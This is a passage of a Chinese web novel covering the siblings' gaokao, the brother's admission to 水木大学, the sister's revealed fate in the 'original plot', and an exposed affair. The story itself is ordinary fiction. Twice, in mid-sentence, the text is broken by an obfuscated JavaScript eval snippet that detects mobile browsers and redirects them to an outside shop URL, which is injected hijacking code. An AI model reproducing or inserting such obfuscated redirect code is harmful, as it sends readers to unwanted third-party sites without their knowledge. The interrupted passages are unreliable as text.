尚未开花结果,就已经被扼杀在心动时刻的恋情从此被他深深地压在了心里,临近高考一个月,预选的成绩也下来了,周敬重新回到了学霸的行列,拿下了全校第三,联考班第三,比之前成绩甚至还要好。 令人瞩目的是,排名在他前面的两个人竟然也姓周,也都来自联办班,一个叫周楚成,一个叫周晚。 预选通过才能参加高考,县城中学预选及格的学生却没有想象中那么多,原本领导层都十分沮丧,可这消息一出,就连县城中学的校长都惊动了,让三人私下又做了一套老师们临时出的模拟,还是这个成绩,于是校长带着年级主任王德英特意跑了一趟周家,给两个家庭都讲了高考报考志愿的重要性。 按照他们的计算,三个学生是一定都能考上大学的,而且是京城的大学,让家长们一定要站好这最后一个月的岗,用心支持学生们的后勤工作,让他们能毫无负担地走上考场。 周红旗和王莲芳通过周楚成这边联系上了耿勇,给他们在纺织厂家属房这边也找了一套院子租下来,尽管一个月租金比沈桂香他们当时还贵,但这个时间点谁也顾不上那么多,光速就举家搬迁到了县城里,周敬也不用再在姑姑家打地铺。 沈桂香和周红军商量一番后,各自推掉了高考月的私活,不过周红军木器厂的工作还在,一个月还有固定工资可以拿,周楚成和周晚就不用再吃食堂,每天中午下午都回家吃饭,沈桂香和周红军也有机会趁着这个空当,自己多补补课。 时间一晃就到了七月,天气最炎热的时候,这一年的全国高考开始了。 不比第一届的时候出题也仓促考试安排也仓促,到周楚成兄妹俩这一届,虽然还是有很多细节还没顾得上,但整体的考试流程和考题都已经趋于规范,而且因为大学生的珍贵程度如今越来越受到广泛认识,参加考试的人也变得越来越多,肉眼可见地竞争对手变多了。 考前两天开始,沈桂香就彻底不做其他事,只帮兄妹俩安排后勤工作了—— 七月太热,家里天天都备着莲子绿豆汤解暑,西瓜更是每天都能吃到,兄妹俩的房间各自都放着一盆水吸掉热气,但还是经常热得两人不得不频繁地用打湿的凉毛巾敷额头降温。 高考的考场在县城二中,一早,所有人就出发前往考场,在二中门口不能喝绿豆汤,怕等会拉肚子吃,又换成了凉凉的米糕,带一点红糖,吃过以后总算舒服了一点,周楚成催促父母早点回去,不要在外面等着暴晒,就带着妹妹进了学校。 周晚身形灵巧,像是一尾鱼似的,毫不费力就帮自己和哥哥找到了考场的教室号:“十七考场、十九考场……哥,你在十九考场,我们俩中间就隔了一间屋子。” 原本到一个陌生的学校,和陌生的人一起考试,多少有些令周晚紧张,但哥哥陪在身边,又让她的情绪平和了下来,两人在门口又把总结出来的错题过了一遍,预备铃打响,走廊上的学生们纷纷进了各自的考室。 几乎是一进去,整个氛围就不一样了,监考老师的表情一个比一个严肃,所有自己携带的东西全部要上交到讲台放着,要么检查出来身上夹带,哪怕和考试无关,也要严厉处罚,周晚心里怦怦跳,找到自己的座位坐下,把准考证放在桌上让老师检查,按照她哥的交代,低头先检查好文具和笔。 一切准备就绪,卷子发到手里,考试铃声响起,所有人几乎是同一时间动了笔。 高考正式开始。 和周家人担心的一样,整个考场都热得没话说,一年之中气温最高的一个月,甚至第一场考试的时候,外面的蝉鸣都快赶上考生们翻卷子的声音了,考场又专门派了巡逻老师在考室外面的树下面粘知了,第二堂考试开始,这些声音才小了许多。 热的问题却还是难以解决,只能在教室里放上几盆水,还有大块大块的冰,再在考试间隙撒上水,让教室尽可能凉快一些,半天考下来,几乎所有的考生都热得没了胃口。 幸好关键时刻,赵小鹏出现,骑着带翻斗的三轮车送周楚成兄妹俩回家,一到家,三人一人一碗沈桂香熬着放凉了一早上的酸梅汤,酸酸甜甜,又不会腻,一下就胃口大开。 赵小鹏刚清完一批货,决定高考这几天让他来负责接送周家兄妹俩往返考场,有了三轮车的加持,这一来一回就只需要十几分钟,不会那么煎熬。 为期三天的高考,就这样在兵荒马乱中落下了帷幕。 几乎是考完一回到家,兄妹俩就在各自屋里倒头睡了一天一夜,直到高考结束第三天,才完全恢复了精神气,但高考这一关到这儿却还不算过,接下来还有最重要的一个环节,就是填志愿。 这会儿的志愿还是出分之前填报,可以称得上是“盲报”,自己估分,自己选学校专业,但凡自己给自己算错了,都有可能导致滑档甚至录不上。 前两年就出现过这种事,消息闭塞,很多学生完全是凭感觉在填报,有些明明分数很高,却填了一个很普通的学校,有的高估了自己的分数,导致志愿没录上,总之是出了很多悲剧。 周家自然是不想出现这种情况,但还有人比他们更急,那就是县城中学,校长、王德英主任带着县城教育口的老师着急忙慌就地就找了周敬和周楚成、周晚兄妹去估分,要手把手地带着他们填志愿。 按照他们之前的成绩,中学那边预估的成绩,如果是要去京城,差不多在京城化工、京城第二师范和京城林业这个水平线上,属于还不错的本科,能稳上,谁知道估完分后,领导们全傻了眼—— “物化满分,数学就扣了两分?” “英语总分三十,你估计有二十六?!” “不是,这个估分是不是哪里错了?你们再回忆回忆呢?” 不怪他们震惊,实在是三个人给出的成绩都有点离谱——好得离谱,比他们预估的分数足足多出去几十分,如果按照这么一算……“我们学校不可能出状元吧?” 县城出状元,根本闻所未闻,无论是师资力量还是学生的水平,这都轮不到县城中学,县城上头还有省城呢,让人家省城那些中学怎么想? 可是三个人估分是分开进行的,一个人估错可能,三个人一起估错可能性没那么大,教委的看校长,校长看王德英,王德英轻咳一声:“咱们要不要问问学生父母的想法,坐下来好好讨论?” …… 填报完志愿,周家浩浩荡荡地回了红旗大队——周红旗和周红军的父母需要拜祭,按照周家的习俗,每年都是要全家回来一起扫墓、做亲人饭,要在老家呆够三天。 当然,今年周红霞这个最小的女儿还是没有回来,毕竟她是城里 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但却不是直接发到他们手上,而是去红旗公社:“书记特别高兴,和大队长他们都在公社等你们呢!” 等到了公社,才知道哪儿只是书记和大队长,整个公社平房里里外外满满当当的都是人! 这也不稀奇,单论红旗大队,今年就只有周家三个独苗苗一路闯五关斩六将,又是考进联办班,又是通过高考预考,最终还真的拿到了大学通知书,而放在整个大队,那就更是独一份了—— 只有周家三个人的录取通知书,是从京城过来的! 一张来自师范大学,是周晚的。 一张来自邮电大学,这是周敬的。 ……还有一张,公社书记拿着手都在抖,眼镜擦了不知道多少遍:“……水木大学寄过来的。” 哪怕在这个山沟沟里,在这片完全没念过书的人眼里,他们也知道水木大学四个字意味着什么,这所象征着国家最高学府荣誉的大学——他们红旗大队,还真飞出了只金凤凰! 还是他们之前没人看好的周楚成! 沈桂香腿一软,当场就差点坐到地上,还是周楚成赶紧把他妈扶住,才没摔下去,沈桂香感觉自己晕晕乎乎的,好像是踩在云端上:“……真是水木大学啊?” “真是水木大学!” 录取通知书递到了她手上,沈桂香看了一眼,眼泪就扑簌簌往下掉。 周敬看向身边也跟着眼眶红红的周晚:“楚成竟然报的水木……你们太大胆了!” 录取要分很多个档位线,水木和京大是单独一档,一旦报了两个中的任何一个,都不能再报其他的,要么成功,要么这一年高考白费。 周敬觉得自己报邮电已经是一个非常冒险的做法,现在科技发展,邮电收分越来越高,他还想着自己是赌一把,现在看了周楚成,他甘拜下风。 这才叫赌一把! 这个行事作风才符合他对周楚成的印象,胆子比天大! 而且仔细想想,周楚成这个选择也有他的底气,之前那堆教辅资料周敬几乎天天都在翻来覆去地刷,上面许多题那叫一个刁钻叫一个难,他自认没少做题也没少琢磨功课,可是那些题做起来能让人挫败得找不到方向,完全是他硬着头皮做下来的。 后来他问了周晚,同样的教辅周晚也有,“有些题做不出来,还是我哥手把手教的,一模之后他每天不是闷在屋子里做题,就是在睡觉,我上次问他做了多少道题,他说至少几万道题,估计是开玩笑,不过应该很多!” 周晚并不知道,周楚成其实没有开玩笑,他是真的刷了几万道题。 拿到录取通知书的那一瞬间,系统弹出了语音提示。 【已完成任务:成功逆袭高考[1/1]】 【奖励:5000元】 【主线剧情已解锁……】 无数剧情涌入了周楚成的脑海,他一下子明白了,上辈子的真相——他妹妹身上到底发生了什么,他们一家为什么最后会悲剧收场。 22. 第 22 章 书里写的剧情是,周晚向往城里的生活,跟着蒋南回了城之后又不会为人处世,在蒋家闹了很多笑话不说,还掉进了钱眼里,天天就盼着能嫁进蒋家当儿媳妇能过上好日子。 后来得知周楚成染上了赌瘾,周晚慌了,竟然偷了蒋家的首饰换成现钱寄给她哥,被蒋家发现后,念着她还是蒋南的对象,没让她赔钱,但让她签了协议,两人之前的口头婚约作废,周晚离开蒋家。 可是周晚却不甘心就这样错过当京城太太的机会,硬是在蒋南结婚那天大闹婚礼,骂蒋南和新婚妻子是一对渣男贱女,蒋家赶她出去她也不肯,无奈之下,蒋家只能叫来了安保队,又向宾客们解释周晚偷东西骗钱,已经被他们驱逐出了蒋家,她只是来讹钱,这才把一场风波化险为夷。 周晚被安保队带走以后,直接送上了回乡的火车,但她不肯面对现实,从安保队手里逃跑出去,最后因为孤身一个人在京城,没有文凭,也没有立足之地,最后死在异乡。 系统之前告诉周楚成剧情的时候,周楚成就觉得疑惑。 首先,他又不笨,村里沾赌的人什么下场,典儿卖女什么腌臜事都做得出来,为什么在书里他会染上赌瘾? 其次,他妹看重学业,更看重家里人,怎么会顶着家里人反对的压力,硬是跟着蒋南去了京城? 但那时候周楚成不知道原因,他只能依靠自己的判断来阻止这一切发生,所以他才会一反常态表示自己也要参加高考,为的就是让他妹在高考之前不要被蒋渣渣影响。 但如果,这个剧情本来就是假的呢? 它的主角,如果从一开始就是蒋南……这个故事就还有另一重真相,那就是他妹其实考上了大学。 周楚成现在才知道。 尽管不是京城师范大学,而是一个普通的大学,但她还是凭借自己的能力去了京城——他妹根本不是没名没分跟着蒋南回城,而是她本来就要去京城上学! 也正是因为这个原因,周家父母才放了心,女儿有自己的学业,大好前途放在那里不吃亏,没有催促两人领证,毕竟周晚接下来还有四年大学要读,等毕业了再领证也不是不可以。 谁知道,周家的信任,却成了蒋南自私自利的借口。 蒋南同样参加了高考,蒋家手里有点小权力,在他办户籍的时候钻了空子,当时没有迁到红旗大队,他考京城的学校天然就有优势,回城以后,他除了没在京城读中学,一切都和一直在城里生活的人没区别,甚至还因为他的大学生身份,比别人还高了一点。 回归了城里人的身份,吃着商品粮,住着福利房,蒋家头上还有个大哥,全家都因为蒋南下乡的事情心怀愧疚,对他也万般溺爱,蒋南膨胀了,再带周晚回家见父母的时候,他就感觉周晚身上差了点什么——她没来过大城市,不够大方,不够有眼界,就只剩那张漂亮脸蛋。 蒋南父母同样不满意周晚,觉得她家太穷,农村家庭要想攀上他们城里人,借机迁户口过来怎么办? 他们可不想要打秋风的亲戚,可是儿子又暂时不想和漂亮姑娘分手,蒋家人一讨论,有了想法,那就是借着“谈婚论嫁”的由头,让周晚住到蒋家来,在他们眼皮下面压着,农村丫头翻不出风浪,但又不影响儿子的心情。 但结婚是不可能结婚的。 周晚浑然不知情,在她心里自己和蒋南本来就是迟早要结婚的对象,蒋家人让她去,她就去了,蒋家人对她不满意,她就努力改,努力变成他们嘴巴里“城里女孩”应该有的样子。 一开始是周末去蒋家,到后来三天两头蒋家都会叫周晚过去,一会儿是这个需要人帮忙,一会儿是那个得找她跑腿,再后来,连蒋南他妈要买什么,都是让周晚去。 蒋家还深谙打一棍子给一个甜枣的道理,经常让蒋南给周晚送些不值钱的小礼物,在家里也是嘘寒问暖,一副对待未来亲亲儿媳妇的态度。 除了钱,钱是不会给周晚的,看准了周晚脸皮薄,不可能主动提出这件事,按照系统的话说,这就是妥妥的PUA,把周晚当成工具人。 周晚又想要兼顾学业,又要面对蒋家层出不穷的要求,在京城这个异乡连个能说心里话的对象都没有,人慢慢地就消瘦了下去,精神也变得很差。 她却还想着,也许以后就好了,等她毕业了,有了自己的工作,就能把这一切解决妥当,她根本不知道蒋家一开始就没安好心,无论她怎么做,都不可能让他们满意。 再后来,就是周楚成赌博的事情传来,但周晚从小的家教就是要自力更生,她不可能去偷东西,是蒋家自己雇的保姆家里出了事,为了平债偷了蒋南他妈的金首饰拿去卖。 只是保姆在蒋家呆了很多年,和无依无靠的周晚比起来,蒋家显然更相信前者,周晚无论怎么解释他们都认定了这个事实,硬是栽到了周晚头上。 这件事传到学校去,周晚直接被学校开除了。 她去蒋家想要和他们把事情说清楚,却被拒绝,蒋家还逼着周晚写下了协议书,否则就要把这事情再闹大一点,最好是闹到她家乡去,让她哥、她父母都没脸见人。 一边是势单力薄的乡下姑娘,一边是盘踞多年的本地人,蒋家还有门路人脉,不然也不可能那么快就把周晚给整得开除了,这一连串的变故下来,周晚只能咬牙往肚子吞。 没学历,她也不是什么都不能做,她有手有脚,就是在京城做苦力活打零工也能活下来,再想想办法能不能去复读,重新参加高考……周晚拼命地打工,想要忘掉这一切,直到蒋南新婚的消息传来,她意外得知,新娘已经怀孕了好几个月了。 那时候,她和蒋南还没分开,那个女孩儿的确经常出入蒋家,她却没有一点怀疑,原来就在她眼皮子底下,两个人已经搞到了一起。 周晚气不过蒋家的没有底线,到婚礼会场大闹一通,可没人相信她的话,再后来……她就被安保队带走了。 一个精心设计的剧毒陷阱,可是因为这本书的男主是蒋南,所以,一切蒋家的过错都可以避之不谈,蒋南的见异思迁,也是“不得已为之”——周晚才是那个最大的恶人。 周楚成在心里冷笑:“系统,你不告诉我,是怕我把他打死?” 如果一开始他知道的就是这个剧情,什么学习任务,什么高考,他根本不会理会,而是直接把蒋南双腿打断,给他打成三级残 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285284|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 废! 【……】 系统不敢说话。 “哥?” 周晚有些迷茫,她哥明明考得那么好,所有人都在夸她爸妈养出了两个高材生,怎么她哥的表情那么冷淡? 周楚成回过神来,摸了摸妹妹的头发:“没事。” 他妹的人生不可能再像书里的剧情一样了,他们一家人会一直在一起,成为他妹最强大的后盾。 他看向父母,周家两口子完全没注意到儿子女儿的对话,两人脸上都冒着红光,说不出的激动,他妈沈桂香眼眶还红红的,公社书记拉着他们俩的手,亲热地说着鼓励和赞扬的话,稍微听了几句,无非就是“文曲星下凡”,“以后前途无量”之类的好话。 书记都摆明态度要捧周家,其他人就更不会藏着掖着,有些人是来吃瓜,但也报着少一条路不如多一条路的想法——周楚成都行,他们儿子女儿,说不定也行? 甚至还有人一副与有荣焉的模样:“楚成这孩子,以前我就觉得他能干大事,是吧,浪子回头金不换,人家一努力,这不就考上水木了吗!” 周楚成:…… 说这话的大叔以前还骂他三岁看老,小时偷针长大偷金,让他爸妈以后准备好去看守所拿钱赎人,现在怎么就变成他从小就有天赋?还真是人怕出名猪怕壮,什么牛鬼蛇神都来了。 书记倒是真的打算借这个机会,好好在公社上宣传宣传读书的重要性,口头夸奖肯定是不够,思索了一会儿之后,书记做出了一个重大的决定——公社包揽周楚成去上学的所有路费,另外再发500元奖金。 这一笔500元的奖金,在系统大手笔的五千块,和周楚成现在做的生意面前并不算多,但对公社来说,这已经是一笔不小的数字,包产到户执行还没多久,书记手上也没多少闲钱。 书记都表态了,大队长作为红旗大队的人,更不可能不表示表示,于是大队这边也出两百元,用作给周楚成的奖励。 这两笔奖金掀起了整个公社的舆论热潮,这还不算,村民们得知县城中学和县教委也要给周楚成发奖金,这下他读书哪里还要钱,光是这一次高考,就挣了不少钱。 以前谁想过能靠读个书就能挣这许多?比农民一年的收入不知道高出去多少倍,早知道周楚成能学出来,他们也把自家娃弄去读书啊,那些没让自家孩子去参加联办班入学考试的家里就更是吵翻了天,当初为了省一笔去县城的费用,现在赔进去一个大学生! 当然,他们说这话的时候,也完全没想过自己孩子能不能考上,周楚成的风光,让整个红旗大队,乃至公社都突然变得积极求学了起来,甚至还有人找到大队长,询问公社中学要不要重新开起来,方便村里其他孩子读书。 同一时间,知青驻地里却传来了一个令人惊讶的消息——蒋南没考上大学。 不仅仅是没考上京城的大学,而是他的分数,无论是哪个省的大学都考不上! 同时传来的还有一个更加劲爆的消息—— 蒋南和人滚玉米地,被去守田的田老汉给抓了个正着,跟他不清不楚的不是别人,就是和周晚从小一起长大的好姐妹许芝灵! 23. 第 23 章 大队长再想低调处理也不行,吃瓜群众来报的时候,书记就在他旁边! 一行人只能匆匆赶往现场,玉米地里早就里三层外三层地围上了看热闹的人,当事人许芝灵身边围着年长的嫂子们,还好心地给她披上了一层衣服,男主家蒋南灰头土脸地坐在一边没人搭理,现场呜呜泱泱的,人声鼎沸得像是在赶集。 书记在旁边脸色阴沉,大队长暗叫不好,刚刚他老人家才因为红旗大队三个学生都考上大学露出点笑容,大队长心里都想着是不是接下来也表彰表彰他这个领头羊了,结果出这么档子事,晦气,这也太晦气了。 他把目击证人叫过来:“田老汉,到底咋回事?” 田老汉也觉得晦气,大队取消工分制度之后,他这个残废老头也用不着再跟之前一样当什么仓库管理员,现在都是各家各扫门前雪,自己收拾农具,但田老汉忙活了一辈子哪里闲得下来,想着这天气变热,担心田里缺水少肥的怕有虫害,他干脆一大清早就去了地里,打算巡视巡视,要是遇见了问题也好赶快通知各家去处理。 谁知道还真有什么东西,窸窸窣窣地在地里头一动一动的,连着那庄稼秆子都在左右摇摆,田老汉生了疑,怕不是虫,而是来偷庄稼的小流氓,他一个瘸腿老人打不过,就扯开嗓子喊道:“有贼,地里进了贼!” 他话音刚落,玉米地里就钻出来一男一女两个年轻人,面孔还是他认识的,田老汉暗叫不好,可是他刚刚扯着嗓子喊那么一通,红旗大队的人早就听见了,这下撞破蒋南和许芝灵奸情的人太多,他就是想装作自己啥也不知道也不行了。 今天就不该来这么一趟,管他啥事儿啊! 沈桂香脸色铁青,还没等她发作,一起来的王莲芳已经冲了上去:“奸夫□□!” 她做惯农活了的,力气大得很,这一巴掌打得蒋南鼻血都流了出来,头偏向一边不停地咳嗽,王莲芳又恨恨地看着旁边一脸无辜娇弱的许芝灵,她气得胸膛起伏:“好好好,原来高考之前死活赖着小敬要退婚,说什么怕耽误他前程都是假的,根本就是你们这对贱人搅合在了一起,怕被我们发现是不是!” 所有人的目光投向了人群背后的周敬,周敬上去拉他妈:“别说了妈,没什么好说的。” “说,我就是要说,我凭什么不说!许芝灵,我周家哪里对不起你,小敬跟你定亲,你第一天上门我就给你了一百块的红包,还特地请人从县城给你带了雪花酥,一顿饭又是肉又是鱼,就怕你觉得我周家不尊重你。” “你跟我说,你喜欢小敬踏实稳重,愿意跟他好好过日子,我还给了你两百块的彩礼定亲,我还念叨说等小敬考上大学,你们结婚以后让你也去考大学,不要留下遗憾——你呢,就是这么回报我们周家的,回报周敬,回报到人家床上去了,不对,你连爬男人的床都爬不上去,跟人在地里滚,脸皮都不要了!” 王莲芳憋了好几个月的怒火,在这一刻尽数倾泻,小姑子的嫌弃,儿子被分手的憔悴,日日夜夜的坐立不安,统统化作了对许芝灵的怨恨,这一番话说出来,在场的所有人都惊呆了,就连沈桂香也没想到:“大嫂,你连彩礼都给了!” “是啊。”王莲芳冷笑一声,看着垂头沉默的许芝灵,“要彩礼我们就给,我他妈的就是信了你这双破鞋的假话!” “妈,别说了……”周敬对他妈摇头,“算了。” 王莲芳胸膛还在狠狠起伏,周晚忽然出声了,她的声音很轻。 “……你们什么时候在一起的?” 没有人回答她,她又问了一遍:“……蒋南,你们什么时候在一起的?” 蒋南迅速地抬眼看了她一下:“两个月前。” 两个月之前,周晚想起来,那时候她刚刚和蒋南重归于好,蒋南说他打算回京城念大学,他是京城户籍,考起来不麻烦,还说到时候再补偿这些日子对她的冷淡,周晚那时候说不出的高兴,尽管她也疑惑过她人就在县城,为什么蒋南从来不来县城看她,但她还是把这一切的原因归于他要忙自己的事情。 原来事实不是这样,他不是忙着正事没空,而是忙着和她曾经最好的好朋友……做那种事。 即使披着衣服,许芝灵散乱的头发,露出半截的肩膀,无一不向她证明,她曾经的挚友和最喜欢的人之间发生了怎样的亲密接触,周晚性格腼腆,就连和蒋南牵手,也只敢在月光下,在没有人看见的地方,她才能悄悄地表达自己的眷恋。 那是她心里最甜蜜的时光,纯粹又美好。 “芝灵……为什么?” 相比起王莲芳这个准婆婆,周晚是真的想不通为什么从小一起长大的发小会这样对待自己。 周家父母疼爱孩子,但毕竟是在村里,物质并不富裕,她妈沈桂香脾气也是出了名的泼辣,可扪心自问,她妈她爸,哪怕是她哥,对她的朋友从来没有拉过脸,许芝灵家庭条件不太好,每次她来周家,沈桂香都要做一大桌子菜,还让她带走一些,哪怕回去要和家里人分,也能多吃两口。 周红军那时候没少嘀咕,说周晚这个朋友又吃又拿占便宜,又抱怨妻女太大方,许家又不是好相与的,当爹的蛮横,当妈的软弱,还是不要走那么近,她妈当时还训她爸,说一代归一代,就算是许芝灵的父母他们俩不待见,也不至于迁怒到许芝灵身上。 周晚那时候信心满满地跟她爸说,两个人会做一辈子的好朋友,到时候她爸就多一个女儿了。 她的信任换来的是彻底的背叛,就像是一块玻璃在她面前被打碎,周晚忽然觉得胃里一阵痉挛……她好想吐,只能捂着嘴,周楚成连忙把妹妹扶住:“晚晚?” “哥,我好想吐。”周晚有些虚弱地说道,“我觉得好恶心。” 沈桂香心疼得不行了,她现在无比庆幸自己没有把女儿真的交到蒋南手上,如果周晚当初真的和蒋南一起回城,如今隔着那么远的距离,她就算是在那边受了欺负,自己这个当妈的也什么都不知道! 周红军说得一点没错,上梁不正下梁歪,大白眼狼就只会教出一个小白眼狼! 她挽着袖子,也想冲上去给这对渣男贱女两巴掌:“你个不要脸的东西,烂穿肠的玩意儿……你骗我女儿,你去死吧你!” 大队长头疼欲裂,只想把事情赶快解决:“周家人留下,其他人你们围着做啥,散了,都散了!” 可是乡亲们却不听他指挥呀,高考的确重要,但对于大队上这些心气儿不高的普通人来说,那些都太遥远了,远远没有围观近在咫尺的八卦来得有劲儿。 还是红旗大队上最最亲热的一对姐妹花,许芝灵和周晚的八卦——两个女人一个男人,这盆泼天狗血洒下来,简直让人睁大眼睛,谁也不愿意离开,反而是看见周家人来了,大家看热闹看得更起劲儿了,帮沈桂香说起了话。 “沈大姐,别生气,别跟这种人置气啊!” “就是,你家儿子不是都考上状元了,晚晚以后有的是好男人挑,跟这种人斗什么气!” “这种人婚前看清楚才是最好的,别让他霍霍了良家的闺女。” 良家两个字似乎是把许芝灵刺痛了,一直沉默着什么都不说的她突然抬起头来,嘴角笑容嘲讽:“良家,什么叫良家?” “我生下来就没带把,我爸嫌弃我不是儿子,天天琢磨着要我辍学回来放牛种地,我妈懦弱得什么话都不敢说,我爸打我,她也只会哭,我不想过这种日子有错吗?” “周晚跟蒋南早就没什么感情了,蒋南一直要回城,她拖着不愿意去,她有为蒋南考虑过吗?既然她不珍惜,我来珍惜,这有错吗?” “你周晚从小到大什么都有,你爸妈疼你,你哥为了你甚至愿意去读书,我什么都没有,我为自己争取,这也有错吗!!” 最后一句,许芝灵几乎是声嘶力竭地喊出来,周晚愣愣地对上那双怨毒的目光,她想起来,最后一次和许芝灵见面的时候,她似乎也用和眼下极为相似的,冰冷的目光看过自己。 那时候,她以为自己看错了,许芝灵不会这样看她。 可现在听到许芝灵的心里话,她想起了当时对方说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290616|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那句话。 “……晚晚,如果我做了什么不好的事情,你一定不要怪我,我也是没办法了。” 所谓不好的事情,原来就是背着她,和她的对象滚在一起。 周晚觉得这一切荒谬到了极致,不只是她,所有听到这话的人,都觉得这话极为荒谬。 “许芝灵,你这个人不讲理啊,你家是什么情况那是你家的事,周晚又没得罪你,人家对你好还成了人家的错了?” “你这不是恩将仇报吗!” “当了表子还要立牌坊,我今天就算是见识到了。” 大队长也炸了,这许芝灵搞什么鬼,他这边心心念念想要把事情平和处理掉,她就在那边点炮仗,她有病吧她! 周楚成轻轻拍了拍妹妹的背,让她好受一些,周晚摇摇头,她不想再待在这里:“哥,我想回家。” “好,我们回家。” 周楚成觉得这会儿该是他出来表态的时候了:“我说话不好听,那我就直说了。” “这种事,放在旧社会是要浸猪笼的,现在咱们新时代了不说那些话,但也绝对不是什么光彩的事情。” “我妹妹马上要读大学,这种没皮没脸的东西,配不上我妹妹。” 蒋南脸色一会青一会白。 “蒋南一个知青,不好好践行上山下乡的学习思想,背叛未婚妻,与村里的未婚女青年不清不楚,这是作风问题,往大了说,这是思想道德极其滑坡的体现,哪怕是现在社会开明,一样可以说是流氓罪。” 蒋南霍然抬起头来,周楚成盯着他眼睛,一字一句:“要么他马上和许芝灵结婚,要么送到公安去——流氓罪必须坐牢!” 周家人在路上一直没说话,大队长还抱有最后一丝幻想,期望他们反应不要太激烈,但周楚成这话一说出口,大队长就知道他是不打算放过这对男女了。 周楚成的高考成绩放在那里,红旗大队的第一批大学生,又是高考状元,他说的话,公社书记也要掂量三分,而书记的想法和他其实不谋而合,但蒋南却不能接受,无论这两个选项的哪一个,对他来说都无异于天打雷劈。 和许芝灵结婚,他就是在乡下已经有家室,不符合知青办的回城条件,如果要选这条路,他当初还不如直接和周晚结婚! 可是流氓罪……蒋南在京城不是没有听说过这个罪名的可怕,他曾经的一个发小就是因为被扣上了这个罪名,在牢里要蹲一辈子,这已经算好的了,有些严重的甚至没能保住性命。 他没得选,就算他知道周楚成是借题发挥,他也没有反抗之力,蒋南从没有像这样强烈地后悔过下乡来到红旗大队,如果不是下乡,他根本不会遇到这些蛮不讲理的农民,根本不可能有人对他用这种态度。 最后悔的,还是和许芝灵沾上了关系,蒋南甚至不记得一开始是怎么开始的,或许是他和周晚频频吵架,他对于回城的事情越来越心烦意乱,而就在那个时候,温柔、懂事又处处谨小慎微,对他百依百顺的许芝灵出现了。 她捧着他,永远看他的目光里都充满了崇拜,仿佛蒋南是全世界最厉害的男人,也是她的全世界。 于是,在一个月夜,他把持不住,偷尝了禁果。 有了第一次,自然也有第二次,第三次,蒋南心里起初还害怕被人发现,可到后来,他也开始食髓知味,和许芝灵之间越来越亲密,只有最后一道防线,那就是结婚,蒋南心里很清楚,周晚的家世他家都不满意,许芝灵就是个彻头彻尾的农民,他家更不可能同意。 所以他不愿意放弃周晚,每每写给周晚的情书里,都充斥着甜言蜜语,油嘴滑舌得不像是以前的他,蒋南甚至还幻想着,两个人以后还能体体面面地做一对夫妻。 直到被捉奸在床,一切已经成了定局,再也回不了头。 他没得选,他不能坐牢,如果他坐了牢……蒋家就是京城最大的笑话了! “……结婚。”蒋南的嘴巴里充满了苦涩的滋味,他看向周晚,对方却冷淡地避开了他的视线,“我选结婚。” 24. 第 24 章 许芝灵和蒋南这一场根本算不上是正经结婚的扯证,在公社书记的压力下很快就办理妥当,婚宴当然是不可能办的,大队上不一人吐两口唾沫就已经算是很给他们两个人面子了,即使如此,两人还是被按着头,在大队部里念了检讨书。 周家唯一的代表就是周楚成,周晚回去就大病了一场,幸好高考录取到报道还有足够的时间,她持续发烧不退,周楚成正好把这件事揽了过来,不让妹妹掺和一点。 周敬本来不想来,他觉得自己很丢人,读了那么多圣贤书,可是连身边人最起码的是真情还是假意他都分不清,现在想想,许芝灵恐怕一开始就没把他看入眼,只不过是那时候没攀上蒋南,所以才会松口同意他的交往请求。 可笑他当时还乐翻了天,满心想着考上大学以后要想尽办法劝许芝灵也继续读高中考大学,许家不给钱都没关系,大不了他在京城勤工俭学,总能想到办法……每次想到这些事,周敬就感觉自己的脸皮火辣辣的,像是被人摔在地上踩。 蒋南也是一样,当初下乡来当知青时,周敬很欣赏他文人的修养,蒋南又是京城来的,见识、眼界各方面都比他周敬要好不少,周敬待他殷勤,一方面的确是想要了解更多大城市的情况,但最重要的还是因为他难得找到了一个和自己有共同话题的朋友,在周敬心里,蒋南比周楚成这个堂弟靠得住。 结果最后,他认为最靠得住的人,却是最靠不住的一个,他认为最靠不住的周楚成,却在最关键的时候救了他一把,周敬现在想想只觉得后怕,如果他在备战高考最关键的那两个月一直沉浸在失恋的痛苦中,他如今是被未婚妻戴了绿帽子不说,前途也丢了,那才是最让他父母伤心失望的。 所以他还是去了,周楚成是堂弟,他是堂兄,周家如果要派代表给这件事画上一个句号,他周敬才是应该负起责任的那个,去之前,周敬给自己做了很多心理建设,可真的面对那一对……渣男贱女,周敬却没了什么感觉。 扯证之前,两人几乎就是一直被分别关在柴房里,不见天日,公社的人怨恨他们败乱风纪,还怕传出去给人笑话,坚决不让他们自由活动,几天时间下来,两人都是蓬头垢面,尤其是蒋南,一身脏污,表情颓丧,哪里还看得出来京城贵公子的风度翩翩? 结婚证上他甚至没有笑容,许芝灵抿着唇,倒是眉目间还有一点笑意,检讨书再一念,这事情就算翻篇了。 “以后就好好在大队……哦不,村里,接受思想改造吧。”周楚成又对着曾经的大队长,如今的村长说道,“年轻人不能闲着,闲着就要出事,还是多给他们派点劳动工作吧。” 工分改制,是农村改革的起点,却不是终点,大队部、公社也逐渐开始改革,如今实质性的工作还是那样,但名字都换了,大队变成了村,公社变成了乡,村长连连点头。 周楚成说的这番话他记在了心里,后来红旗村也真的因为这一件事,而改变了他们对子女的教育观念,只要成了年的娃,无论是留在村里,还是出去闯荡,都不能在家里闲着吃白饭,免得再出现这样的事,不过这都是后话了。 